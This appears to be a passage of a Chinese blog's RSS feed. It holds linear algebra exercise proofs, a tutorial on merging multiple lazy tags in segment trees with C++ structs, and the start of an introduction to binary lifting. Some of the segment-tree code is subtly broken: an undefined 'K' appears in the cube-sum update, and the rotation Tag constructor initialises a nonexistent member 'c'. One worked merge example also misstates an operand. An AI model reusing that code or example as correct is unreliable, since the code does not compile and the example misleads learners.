只有平凡解．设 $V$ 的一组基为
$$
{v_1, \cdots, v_m}
$$
由于 $W$ 是无限维的，因此存在无穷序列 ${w_i}$，使得 $\forall, k \in \mathbf N_+$，
$$
w_1, \cdots, w_k
$$
线性无关．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;为了强迫映射线性无关，我们取 $k = n$，令
$$
T_iv_j = w_i, \quad i = 1, \cdots, n,\quad j = 1, \cdots, m
$$
根据&lt;strong&gt;线性映射引理&lt;/strong&gt;，这些 $T_i$ 均存在且唯一．对于 $\forall, v \in V$，
$$
v = d_1v_1 + \cdots + d_mv_m
$$
此时
$$
\begin{aligned}
&amp;amp; (c_1T_1 + \cdots + c_nT_n)v \
={}&amp;amp; c_1T_1(d_1v_1 + \cdots + d_mv_m) + {}\
&amp;amp;\cdots + c_nT_n(d_1v_1 + \cdots + d_mv_m) \
={}&amp;amp; (d_1 + \cdots + d_m)(c_1w_1 + \cdots + c_nw_n)
\end{aligned}
$$
我们发现 $d_1 + \cdots + d_m$ 可能为 $0$．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;该怎么办？这个问题其实可以规避掉．因为基的任意性，我们在验证 $\forall, v \in V$，
$$
c_1T_1v + \cdots + c_nT_nv = 0
$$
平凡解情况的时候，其实可以用 $v_1$ 去检验，从而减少不必要的任意性．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我们改变映射的定义：
$$
T_iv_1 = w_i, \quad i = 1, \cdots, n
$$
$T_iv_j$ 任意，$j = 2, \cdots, m$，此时
$$
(c_1T_1 + \cdots + c_nT_n)v_1 = c_1w_1 + \cdots + c_nw_n = 0
$$
显然只有平凡解．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;原命题得证．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;零空间与值域&lt;/h2&gt;
&lt;h3&gt;习题 3B&lt;/h3&gt;
&lt;h4&gt;第 9 题&lt;/h4&gt;
&lt;p&gt;设 $T \in \mathcal L(V, W)$ 是单射，$v_1, \cdots, v_n$ 在 $V$ 中线性无关，证明：
$$
Tv_1, \cdots, Tv_n
$$
在 $W$ 中线性无关．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在不浪费维度的情况下，单射保持线性无关性．&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;证明&lt;/strong&gt;：$T \in \mathcal L(V, W)$ 是单射，故 $\text{null}, T = {0}$，考虑若方程
$$
c_1Tv_1 + \cdots + c_nTv_n = 0
$$
成立，则 $c_1v_1 + \cdots + c_nv_n \in \text{null}, T$，又因为 $v_1, \cdots, v_n$ 在 $V$ 中线性无关，因此
$$
c_1v_1 + \cdots + c_nv_n = 0
$$
仅有平凡解，原方程也仅有平凡解，原命题得证．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;第 11 题&lt;/h4&gt;
&lt;p&gt;设 $V$ 是有限维的，$T \in \mathcal L(V, W)$，证明：存在 $V$ 的一个子空间 $U$，使得
$$
U \cap \text{null}, T = {0} \quad \text{and} \quad \text{range}, T = {Tu : u \in U}
$$&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;也就是说，除了 $0$，核 (零空间) 对值域没有贡献．&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;证明&lt;/strong&gt;：$\text{null}, T$ 是 $V$ 的子空间，故进行直和分解
$$
V = U \oplus \text{null}, T
$$
此时 $U \cap \text{null}, T = {0}$，且 $U$ 基与 $\text{null}, T$ 基共同组成 $V$ 基
$$
{u_1, \cdots, u_m, w_1, \cdots, w_k}
$$
我们将证明此 $U$ 即为所求子空间．任取 $Tv \in \text{range}, T$，
$$
\begin{aligned}
Tv &amp;amp;= T(c_1u_1 + \cdots + c_mu_m + d_1w_1 + \cdots + d_kw_k) \
&amp;amp;= T(c_1u_1 + \cdots + c_mu_m) = Tu, \quad u \in U
\end{aligned}
$$
故 $\text{range}, T \subset {Tu : u \in U}$，易证 $\text{range}, T \supset {Tu : u \in U}$，得证．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;第 18 题&lt;/h4&gt;
&lt;p&gt;设 $V$ 和 $W$ 都是有限维的，$U$ 是 $V$ 的子空间，证明：
$$
\exists, T \in \mathcal L(V, W), : \text{null}, T = U
$$
当且仅当
$$
\dim U \ge \dim V - \dim W
$$&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;必要性 ($\Rightarrow$) 显然，下面证明充分性 ($\Leftarrow$)．&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;证明&lt;/strong&gt;：考虑直和分解 $V = U \oplus X$，取 $V$ 基
$$
{u_1, \cdots, u_m, \cdots, x_1, \cdots, x_k}
$$
取 $W$ 基
$$
{w_1, \cdots, w_n}
$$
根据题意，可以保证直和补维数不大于陪域维数
$$
k = \dim V - \dim U \le \dim W = n
$$
构造线性映射，可以尝试从基入手：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;根据&lt;strong&gt;线性映射引理&lt;/strong&gt;，取 $T \in \mathcal L(V, W)$，满足
$$
Tu_i = 0, \quad Tx_j = w_j
$$
易证 $\text{null}, T \supset U$．任取 $Tv = 0$，直和分解 $v  = u + x$，于是
$$
Tx = T(v - u) = 0
$$
得 $x \in \text{null}, T$，但 $T$ 不是单射，无法证明 $x = 0$．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;怎么办？引理无法保证线性映射的单射与否，但我们先前已经有了更进一步的结论：&lt;strong&gt;习题 3B.16&lt;/strong&gt; 告诉我们，只要定义域的维数不大于陪域的维数，我们还有能力让找到的线性映射成为单射．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;由于 $\dim X \le \dim W$，取单射 $S: X \rightarrow W$，根据&lt;strong&gt;习题 3A.13&lt;/strong&gt;，将 $S$ 进一步拓展成 $T: V \rightarrow W$，使其除了满足
$$
\forall, x \in X, : Tx = Sx
$$
还满足
$$
\forall, u + x \in V,:T(u + x) = Sx
$$
这通过令 $Tu_i = 0$ 即可实现．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;现在 $T$ 在 $X$ 上的限制 $S$ 是单射，也就是说
$$
T(u + x) = 0 \Leftrightarrow Sx = 0 \Leftrightarrow x = 0 \Leftrightarrow u + x \in U
$$
这说明 $\text{null}, T = U$，原命题得证．&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>线段树 - 多 Tag 下放的优先级问题</title><link>https://fuwari.vercel.app/posts/algo/lsgt-multi-lazy-tag/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/algo/lsgt-multi-lazy-tag/</guid><description>直接根据 Tag 施加的先后顺序来维护 Tag 队列，时间复杂度并不好看．设法将当前节点的 Tag 与子节点的旧 Tag 合并，就成了优化复杂度的关键．</description><pubDate>Wed, 16 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Tag 是&lt;strong&gt;线段树&lt;/strong&gt;实现区间修改的重要技巧，它能够延迟更新子树从而达到降低时间复杂度．在只有一种区间修改类型的情况下，Tag 的 push 处理十分简单．但在&lt;strong&gt;多种区间修改类型&lt;/strong&gt;的情况下，情况就变得不容乐观了：直接根据 Tag 施加的先后顺序来维护 Tag 队列，时间复杂度并不好看．设法将当前节点的 Tag 与子节点的旧 Tag 合并，就成了优化复杂度的关键．其中，&lt;strong&gt;不同修改操作之间的影响关系决定了 Tag 被 push 的先后顺序&lt;/strong&gt;．&lt;/p&gt;
&lt;h2&gt;单 Tag&lt;/h2&gt;
&lt;p&gt;先回顾下单 Tag 的情况：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;能对区间 $[L, R)$ 进行以下操作：&lt;br /&gt;
$T_1$：将区间里每个数加上 $b$；&lt;br /&gt;
$Q_1$：查询区间平方和．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;区间信息 Info 设计不难，只需维护区间和与区间平方和即可．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Info 和 Tag 的设计是相辅相成的，这在后面会充分体现．&lt;br /&gt;
在这里，可以先试试直接对每个数加上 $b$ 后，看看区间平方和的形式发生了什么变化：&lt;/p&gt;
&lt;p&gt;$$
\sum (x_i + b)^2 = \sum x_i^2 + 2b \sum x_i + (R - L + 1)b^2
$$&lt;/p&gt;
&lt;p&gt;可以看到，我们必须要实时维护区间信息 $\sum x_i^2$ 和 $\sum x_i$，才能够实时更新区间平方和信息，因此 Info 必须被设计成能够维护区间和与区间平方和的形式．此时&lt;/p&gt;
&lt;p&gt;$$
\sum (x_i + b) = \sum x_i + (R - L + 1)b
$$&lt;/p&gt;
&lt;p&gt;当然设计 Info 的时候也需要注意，只有&lt;strong&gt;单位元存在&lt;/strong&gt;，并且满足 &lt;strong&gt;结合律&lt;/strong&gt; 和 &lt;strong&gt;封闭性&lt;/strong&gt; (幺半群) 的统计量才能够用线段树维护：最值、区间和、最大公约数等．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;区间修改信息 Tag 设计十分简单． 因为只有一种修改操作 $T_1$，Tag 的合并轻而易举：&lt;/p&gt;
&lt;p&gt;$$
b = b_1 + b_2
$$&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;using i64 = long long;
constexpr i64 MOD = 1e9 + 7;

struct Tag {
  i64 b;
  Tag() : b(0LL) {} // 恒等元
  Tag(i64 b) : b(b) {}

  void apply(Tag t) { // Tag 合并
    b = (b + t.b) % MOD;
  }
};

struct Info {
  i64 S, S2;
  Info() : S(0LL), S2(0LL) {} // 与目标区域无交集
  Info(i64 leaf) : S(leaf), S2(leaf * leaf % MOD) {} // 叶节点初始化 Info
  Info operator+(const Info &amp;amp;o) { // 区间 Info 合并
    Info res;
    res.S = S + o.S;
    res.S2 = S2 + o.S2;
    return res;
  }

  void apply(Tag t, int l, int r) { // Tag 作用于 Info
    i64 nS = (S + (r - l + 1) * t.b % MOD) % MOD;

    i64 nS2 = (
      S2 + (
        2 * t.b % MOD * S % MOD + (
          (r - l + 1) * t.b % MOD * t.b % MOD
        ) % MOD
      ) % MOD
    ) % MOD;

    S = nS, S2 = nS2;
  }
};

&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;多 Tag&lt;/h2&gt;
&lt;h3&gt;加、乘、赋值&lt;/h3&gt;
&lt;p&gt;现在我们有了多种修改操作：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;给定一个长度为 $n$ 的序列 $a$，要求支持如下四个操作：&lt;br /&gt;
$T_1$：将区间 $[l, r]$ 内每个数都加上 $b$；&lt;br /&gt;
$T_2$：将区间 $[l, r]$ 内每个数都乘上 $k$；&lt;br /&gt;
$T_3$：将区间 $[l, r]$ 内每个数都赋值 $c$；&lt;br /&gt;
$Q_1$：求区间 $[l, r]$ 的立方和．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我们设计的 Tag 存着有关修改操作的信息，这个信息可以用四元组 $(b, k, c, \text{flag})$ 表示（其中 $\text{flag}$ 表示是否进行赋值操作），但这个形式并没有 &lt;strong&gt;操作顺序&lt;/strong&gt; 这个信息，难道我们还要定义一个量用来明确先后吗？大可不必．&lt;/p&gt;
&lt;p&gt;我们直接 &lt;strong&gt;人为规定&lt;/strong&gt; Tag 里三种操作的顺序，这为我们合并 Tag 省去很多麻烦（你也不想要 $3!$ 种顺序，带来 $(3!)^2$ 的分类讨论吧）．那问题来了，怎样个顺序呢？标答是先赋值，再做乘，最后加：$(c, k, b, \text{flag})$ ．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;比如 $(2, 5, 1, \text{true}) \gets (114514, 8, 6, \text{false})$，得到 $(2, 5 \times 8, 1 \times 8 + 6, \text{true})$，意思是：「区间内所有数赋值 $2$ 后，集体乘以 $5$，集体加上 $1$，紧接着集体乘以 $8$，集体加上 $1$」完全等价于「区间内所有数赋值 $2$ 后，集体乘以 $40$，集体加上 $14$」&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;凭什么是这个顺序？实际上，&lt;strong&gt;只要我们规定的顺序能够实现 Tag 的合并，都是可行的顺序&lt;/strong&gt;．我们当然可以先赋值，然后加，最后乘，但这会带来不必要的麻烦：&lt;br /&gt;
先乘后加：$k_2(k_1x + b_1) + b_2 = (k_2k_1)x + (k_2b_1 + b_2)$；&lt;br /&gt;
先加后乘：$k_2(k_1(x + b_1) + b_2) = (k_2k_1)(x+(b_1+ b_2/k_1))$；&lt;br /&gt;
这会带来精度丢失，且不优雅．&lt;br /&gt;
那赋值呢？你可以去试试，如果不先赋值，你甚至都做不到 Tag 的合并，因为赋值会抹去加和乘的意义，无法保留加和乘的信息．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;因此 Tag 的合并如下：当 $\text{flag}_2 = \text{false}$ 时，&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
c &amp;amp;= c_1 \
k &amp;amp;= k_2k_1 \
b &amp;amp;= k_2b_1 + b_2 \
\text{flag} &amp;amp;= \text{flag}_1
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;当 $\text{flag}_2 = \text{true}$ 时，&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
c &amp;amp;= c_2 \
k &amp;amp;= k_2 \
b &amp;amp;= b_2 \
\text{flag} &amp;amp;= \text{flag}_2
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;Info 的设计反倒不难：当 $\text{flag} = \text{false}$ 时，Info 的立方和变为&lt;/p&gt;
&lt;p&gt;$$
\sum(kx+b)^3 = k^3 \sum x^3 + 3k^2b \sum x^2 + 3kb^2 \sum x + (r - l + 1)b^3
$$&lt;/p&gt;
&lt;p&gt;可以看出我们的 Info 还需要额外维护平方和还有和：&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
&amp;amp;\sum(kx+b)^2 = k^2 \sum x^2 + 2kb \sum x + (r - l + 1)b^2 \
&amp;amp;\sum(kx+b) :,= k \sum x + (r - l + 1)b
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;当 $\text{flag} = \text{true}$ 时，不依赖 Info 原有值，Info 的三种和直接修改为&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
&amp;amp;(r - l + 1)(kc + b)^3 \
&amp;amp;(r - l + 1)(kc + b)^2 \
&amp;amp;(r - l + 1)(kc + b) \&lt;/p&gt;
&lt;p&gt;\end{aligned}
$$&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;using i64 = long long;
constexpr i64 MOD = 1e9 + 7;

struct Tag {
  i64 c, k, b;
  bool flag;
  Tag() : c(0LL), k(1LL), b(0LL), flag(false) {} // 恒等元
  Tag(i64 c, i64 k, i64 b, bool flag) : c(c), k(k), b(b), flag(flag) {}

  void apply(Tag t) { // Tag 合并
    if (t.flag) {
      c = t.c, k = t.k, b = t.b, flag = t.flag;
    } else {
      k = k * t.k % MOD;
      b = (b * t.k % MOD + t.b) % MOD;
    }
  }
};

struct Info {
  i64 S, S2, S3;
  Info() : S(0LL), S2(0LL), S3(0LL) {} // 与目标区域无交集
  Info(i64 leaf) : S(leaf), S2(leaf * leaf % MOD), S3(leaf * leaf % MOD * leaf % MOD) {} // 叶节点初始化 Info
  Info(i64 S, i64 S2, i64 S3) : S(S), S2(S2), S3(S3) {}
  Info operator+(const Info &amp;amp;o) { // 区间 Info 合并
    return Info(S + o.S, S2 + o.S2, S3 + o.S3);
  }

  void apply(Tag t, int l, int r) { // Tag 作用于 Info
    i64 c = t.c, k = t.k, b = t.b;
    if (t.flag) {
      S  = (r - l + 1) * (k * c % MOD + b) % MOD;
      S2 = (r - l + 1) * (k * c % MOD + b) % MOD
                       * (k * c % MOD + b) % MOD;
      S3 = (r - l + 1) * (k * c % MOD + b) % MOD
                       * (k * c % MOD + b) % MOD
                       * (k * c % MOD + b) % MOD;
    } else {
      i64 nS = (k * S % MOD + (r - l + 1) * b % MOD) % MOD;

      i64 nS2 = (
        k * k % MOD * S2 % MOD + (
          2 * k % MOD * b % MOD * S % MOD + (
            (r - l + 1) * b % MOD * b % MOD
          ) % MOD
        ) % MOD
      ) % MOD;

      i64 nS3 = (
        k * K % MOD * k % MOD * S3 % MOD + (
          3 * k % MOD * k % MOD * b % MOD * S2 % MOD + (
            3 * k % MOD * b % MOD * b % MOD * S % MOD + (
              (r - l + 1) * b % MOD * b % MOD * b % MOD
            ) % MOD
          ) % MOD
        ) % MOD
      ) % MOD;

      S = nS, S2 = nS2, S3 = nS3;
    }
  }
};

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;加、乘、轮换&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;给你 $n$ 个三元组 $(x, y, z)$，进行若干次如下操作：&lt;br /&gt;
$T_1$：对 $[l, r]$ 内的所有三元组都加上 $(a, b, c)$；&lt;br /&gt;
$T_2$：对 $[l, r]$ 内的所有三元组都乘上 $k$；&lt;br /&gt;
$T_3$：对 $[l, r]$ 内的所有三元组 $(x, y, z)$ 置换成 $(y, z, x)$；&lt;br /&gt;
$Q_1$：查询 $[l, r]$ 内的所有三元组和的模．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;如何叠加 Tag？首先乘的优先级比加高，因此只需要考虑轮换相对于这两种操作的优先级．&lt;/p&gt;
&lt;p&gt;直观上讲，轮换对其他操作的影响程度更大（赋值影响程度更大），我们先试试这个优先级：置换 $&amp;gt;$ 乘法 $&amp;gt;$ 加法．设三元组 $\mathbf{x} = (x, y, z)$，加法操作数 $\mathbf{b} = (a, b, c)$，记置换操作为 $\text{rot},\mathbf{x}$．&lt;/p&gt;
&lt;p&gt;我们初步定义 $\text{Tag}_{k, \mathbf{b}}, \mathbf{x} = k,\text{rot},\mathbf{x} + \mathbf{b}$，那么 Tag 合并时：&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
&amp;amp; \text{Tag}_{k_2, \mathbf{b}&lt;em&gt;2}\text{Tag}&lt;/em&gt;{k_1, \mathbf{b}_1} \mathbf{x} \
=,&amp;amp; k_2,\text{rot}(k_1,\text{rot},\mathbf{x} + \mathbf{b}_1) + \mathbf{b}_2 \
=,&amp;amp; k_2(k_1,\text{rot}^2,\mathbf{x} + \text{rot},\mathbf{b}_1) + \mathbf{b}_2 \
=,&amp;amp; (k_2k_1),\text{rot}^2,\mathbf{x} + (k_2,\text{rot},\mathbf{b}_1 + \mathbf{b}_2)
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;没法重新合并成一个 Tag．观察形式，我们需要把 Tag 重新定义成 $\text{Tag}_{t, k, \mathbf{b}} = k,\text{rot}^t,\mathbf{x} + \mathbf{b}$，$t \in {0, 1, 2}$，重新推导 Tag 合并：&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
&amp;amp; \text{Tag}_{t_2, k_2, \mathbf{b}&lt;em&gt;2}\text{Tag}&lt;/em&gt;{t_1, k_1, \mathbf{b}_1},\mathbf{x} \
=,&amp;amp; k_2,\text{rot}^{t_2}(k_1,\text{rot}^{t_1},\mathbf{x} + \mathbf{b}_1) + \mathbf{b}_2 \
=,&amp;amp; k_2(k_1,\text{rot}^{t_2 + t_1},\mathbf{x} + \text{rot}^{t_2},\mathbf{b}_1) + \mathbf{b}_2 \
=,&amp;amp; (k_2k_1),\text{rot}^{(t_2 + t_1) :\text{mod}: 3},\mathbf{x} + (k_2,\text{rot}^{t_2 :\text{mod}: 3},\mathbf{b}_1 + \mathbf{b}&lt;em&gt;2) \
=,&amp;amp; \text{Tag}&lt;/em&gt;{t, k, \mathbf{b}},\mathbf{x}
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;合并成功，此时 Tag 的合并为：&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
t &amp;amp;= (t_1 + t_2) :\text{mod}:3 \
k &amp;amp;= k_2k_1 \
\mathbf{b} &amp;amp;= k_2,\text{rot}^{t_2 :\text{mod}: 3},\mathbf{b}_1 + \mathbf{b}_2
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;到设计 Info 的时候了，我们需要维护区间所有三元组的和，才能获得模．&lt;/p&gt;
&lt;p&gt;当 $\text{Tag}_{t, k, \mathbf{b}}$ 作用于区间时，区间内所有三元组的和&lt;/p&gt;
&lt;p&gt;$$
\sum (k,\text{rot}^t,\mathbf{x} + \mathbf{b}) = k,\text{rot}^t\sum \mathbf{x} + (r - l + 1) \mathbf{b}
$$&lt;/p&gt;
&lt;p&gt;看来不需要额外维护其它量，搞定收工！&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;using i64 = long long;
constexpr i64 MOD = 1e9 + 7;

struct Vec {
  std::array&amp;lt;i64, 3&amp;gt; v;
  Vec() : v() {}
  Vec(const Vec &amp;amp;o) : v(o.v) {}
  Vec(i64 x, i64 y, i64 z) : v({x % MOD, y % MOD, z % MOD}) {}

  Vec operator+(const Vec &amp;amp;o) {
    return Vec((v[0] + o.v[0]) % MOD,
               (v[1] + o.v[1]) % MOD,
               (v[2] + o.v[2]) % MOD);
  }

  Vec operator*(i64 k) {
    return Vec(v[0] * k % MOD,
               v[1] * k % MOD,
               v[2] * k % MOD);
  }

  Vec rot(int t) {
    return Vec(v[t % 3], v[(t + 1) % 3], v[(t + 2) % 3]);
  }
};

struct Tag {
  int t;
  i64 k;
  Vec b;
  Tag() : t(0), k(1LL), b() {} // 恒等元
  Tag(int t, i64 k, Vec b) : c(c), k(k), b(b) {}

  void apply(Tag _t) { // Tag 合并
    int t2 = _t.t;
    i64 k2 = _t.k;
    Vec b2 = _t.b;
    t = (t + t2) % 3;
    k = k * k2 % MOD;
    b = b.rot(t2 % 3) * k2 + b2;
  }
};

struct Info {
  Vec S;
  Info() : S() {} // 与目标区域无交集
  Info(Vec leaf) : S(leaf) {} // 叶节点初始化 Info
  Info operator+(const Info &amp;amp;o) { // 区间 Info 合并
    return Info(S + o.S);
  }

  void apply(Tag _t, int l, int r) { // Tag 作用于 Info
    int t = _t.t;
    i64 k = _t.k;
    Vec b = _t.b;
    S = S.rot(t) * k + b * (r - l + 1LL);
  }
};

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;加、置换、线性变换&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;给你 $n$ 个二元组 $(x, y)$，进行若干次如下操作：&lt;br /&gt;
$T_1$：对 $[l, r]$ 内的所有二元组都加上 $(b, b)$；&lt;br /&gt;
$T_2$：对 $[l, r]$ 内的所有二元组都变成 $(y, x)$；&lt;br /&gt;
$T_3$：对 $[l, r]$ 内的所有二元组都变成 $(3x + 2y, 3x - 2y)$；&lt;br /&gt;
$Q_1$：查询 $[l, r]$ 内的 $\sum_i x_iy_i$．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;设 $A = \begin{bmatrix} 3 &amp;amp; 2 \ 3 &amp;amp; -2 \end{bmatrix}$，$\mathbf{b} = \begin{bmatrix} b \ b \end{bmatrix}$，$\text{swap}\begin{bmatrix} x \ y \end{bmatrix} = \begin{bmatrix} y \ x \end{bmatrix}$，不管你凭直觉规定的优先级是什么，你可能在合并 Tag 的时候写出类似下面这个式子：&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
&amp;amp; A,\text{swap}(A,\text{swap},\mathbf{x} + \mathbf{b}_1) + \mathbf{b}_2 \
=&amp;amp; A^2\mathbf{x} + (A,\text{swap},\mathbf{b}_1 + \mathbf{b}_2)
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;发现无法合并，你可能会重新定义 $\text{Tag}_{n, t, b},\mathbf{x} = A^{n},\text{swap}^t,\mathbf{x} + \mathbf{b}$，但会像之前的例子，很麻烦．&lt;/p&gt;
&lt;p&gt;实际上在规定优先级的时候，我们发现：$T_1$ 不会影响之前 $T_2$ 和 $T_3$ 的操作，但 $T_2$ 和 $T_3$ 在时间维度上，会互相影响，它们是相同的优先级，因为它们都是线性变换，我们可以统一用矩阵来表示这种线性变换，这样我们就不需要单独给这两种操作设计不同的 Tag．任何线性变换都可以看成同一类操作，只需要在构造 Tag 的时候，传进不同的矩阵罢了．&lt;/p&gt;
&lt;p&gt;我们定义 $\text{Tag}_{A, \mathbf{b}} = A\mathbf{x} + \mathbf{b}$，其中 $A$ 为任意矩阵，这样 $T_2$ 和 $T_3$ 都归为一类操作了，区间修改的时候构造矩阵&lt;/p&gt;
&lt;p&gt;$$
T_2 = \begin{bmatrix} 0 &amp;amp; 1 \ 1 &amp;amp; 0 \end{bmatrix} \quad
T_3 = \begin{bmatrix} 3 &amp;amp; 2 \ 3 &amp;amp; -2 \end{bmatrix}
$$&lt;/p&gt;
&lt;p&gt;作为 Tag 的构造参数就行，代码略．&lt;/p&gt;
</content:encoded></item><item><title>倍增</title><link>https://fuwari.vercel.app/posts/algo/binary-lift/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/algo/binary-lift/</guid><description>RMQ 和 LCA 都有使用倍增的实现方式．</description><pubDate>Tue, 18 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;在解决一个大问题的时候，我们常常将其分解为多个&lt;strong&gt;与大问题结构相同的小问题&lt;/strong&gt;后分别求解，再将小问题的答案分析汇总成大问题的答案．但如果现在有很多件大问题摆在面前，对现场每个大问题分解成小问题，然后再解决现场的小问题，未免有些力不从心．我们渴望在此之前&lt;strong&gt;预处理小问题&lt;/strong&gt;的答案，然后现场调用直接得到小问题的答案，而无需现场求解小问题．那么问题来了，在遇到大问题之前，如何&lt;strong&gt;设计&lt;/strong&gt;小问题之间的&lt;strong&gt;结构&lt;/strong&gt;，以便求解大问题时拆解成自己构造的子问题？ 二进制的&lt;strong&gt;倍增&lt;/strong&gt;思想或许能为我们解答．&lt;/p&gt;
&lt;h2&gt;引入&lt;/h2&gt;
&lt;p&gt;在第一个世界上，货币的面值只有 1 元，A 要以现金给 B 转账，但 B 没告诉 A 要转多少，B 只能说 A 转的钱多了还是少了，A 知道 B 最多要 3000 元．A 当然有二分思想，但他很烦，因为他只有面值为 1 元的纸币，需要带足很多张 1 元纸币才能确保万无一失，但钱包空间是有限的（现场求解小问题会消耗时间）．&lt;/p&gt;
&lt;p&gt;在第二个世界上，货币的面值有 1 元，2 元，3 元，4 元 …… 一直到 10 元 (小问题预处理后的答案，如 3 元 = 1 元 + 1 元 + 1 元）．不用多说，这种面值的安排非常笨，光是设计这 10 种 ($O(n)$) 面值的纸币是个不小的工程量（如果预处理一个小问题需要消耗 $O(n)$ 的时间，那么预处理所有小问题需要消耗 $O(n^2)$ 的时间，并且各个小问题的结构不合理，导致大问题拆解后，小问题的数量依旧不少)．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A: 10 元&lt;br /&gt;
B: 不够&lt;br /&gt;
A: 20 元&lt;br /&gt;
B: 不够&lt;br /&gt;
...&lt;br /&gt;
A: 1440 元&lt;br /&gt;
B: 不够&lt;br /&gt;
A: 1450 元&lt;br /&gt;
B: 多了&lt;br /&gt;
A: 1445 元&lt;br /&gt;
B: 多了&lt;br /&gt;
A: 1442 元&lt;br /&gt;
B: 正好&lt;br /&gt;
(147 次询问)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在第三个世界上，货币的面值有 1 元，2 元，4 元，8 元 …… 一直到 1024 元．和第二个世界比，这种就合理多了：同样是设计 10 种 ($O(\log n)$) 面值的纸币，任何金额在这种方案下只使用了很少的纸币 ($O(\log n)$)．(相比第二个世界，这里预处理只需消耗 $O(n \log n)$ 的时间)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A: 2048 元&lt;br /&gt;
B: 多了&lt;br /&gt;
A: 1024 元&lt;br /&gt;
B: 少了&lt;br /&gt;
A: 1024 + 512 元&lt;br /&gt;
B: 多了&lt;br /&gt;
A: 1024 + 256 元&lt;br /&gt;
B: 少了&lt;br /&gt;
A: 1024 + 256 + 128 元&lt;br /&gt;
B: 少了&lt;br /&gt;
A: 1024 + 256 + 128 + 64 元&lt;br /&gt;
B: 多了&lt;br /&gt;
A: 1024 + 256 + 128 + 32 元&lt;br /&gt;
B: 少了&lt;br /&gt;
A: 1024 + 256 + 128 + 32 + 16 元&lt;br /&gt;
B: 多了&lt;br /&gt;
A: 1024 + 256 + 128 + 32 + 8 元&lt;br /&gt;
B: 多了&lt;br /&gt;
A: 1024 + 256 + 128 + 32 + 4 元&lt;br /&gt;
B: 多了&lt;br /&gt;
A: 1024 + 256 + 128 + 32 + 2 元&lt;br /&gt;
B: 正好&lt;br /&gt;
(11 次询问)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;倍增&lt;/h2&gt;
&lt;h3&gt;可拆性与合并性&lt;/h3&gt;
&lt;p&gt;在引入部分，某一金额能够被拆成不同面值纸币的价值，不同面值纸币的价值就是预处理后小问题的答案．从中我们可以看出，倍增思想的使用前提是&lt;strong&gt;相似小问题的答案能够合并成大问题的答案&lt;/strong&gt;，或者&lt;strong&gt;大步骤能够被线性拆解成相同小步骤&lt;/strong&gt;．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;欲求解 $7^{397}$ 这个大问题，可以将其拆解成若干&lt;strong&gt;相似&lt;/strong&gt;小问题
$$
7^{397} = 7^{114} \cdot 7^{51} \cdot 7^{41} \cdot 7^{91} \cdot 7^{19} \cdot 7^{81} \cdot 7^0
$$
这些小问题的答案&lt;strong&gt;能够合成出大问题的答案&lt;/strong&gt;．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;欲求解数组 &lt;code&gt;arr&lt;/code&gt; $[114, 514]$ 上的最小值，可以将其拆解成若干&lt;strong&gt;相似&lt;/strong&gt;小问题：分别求解
$$
[114, 191], [192, 389], [390, 442], [443, 514]
$$
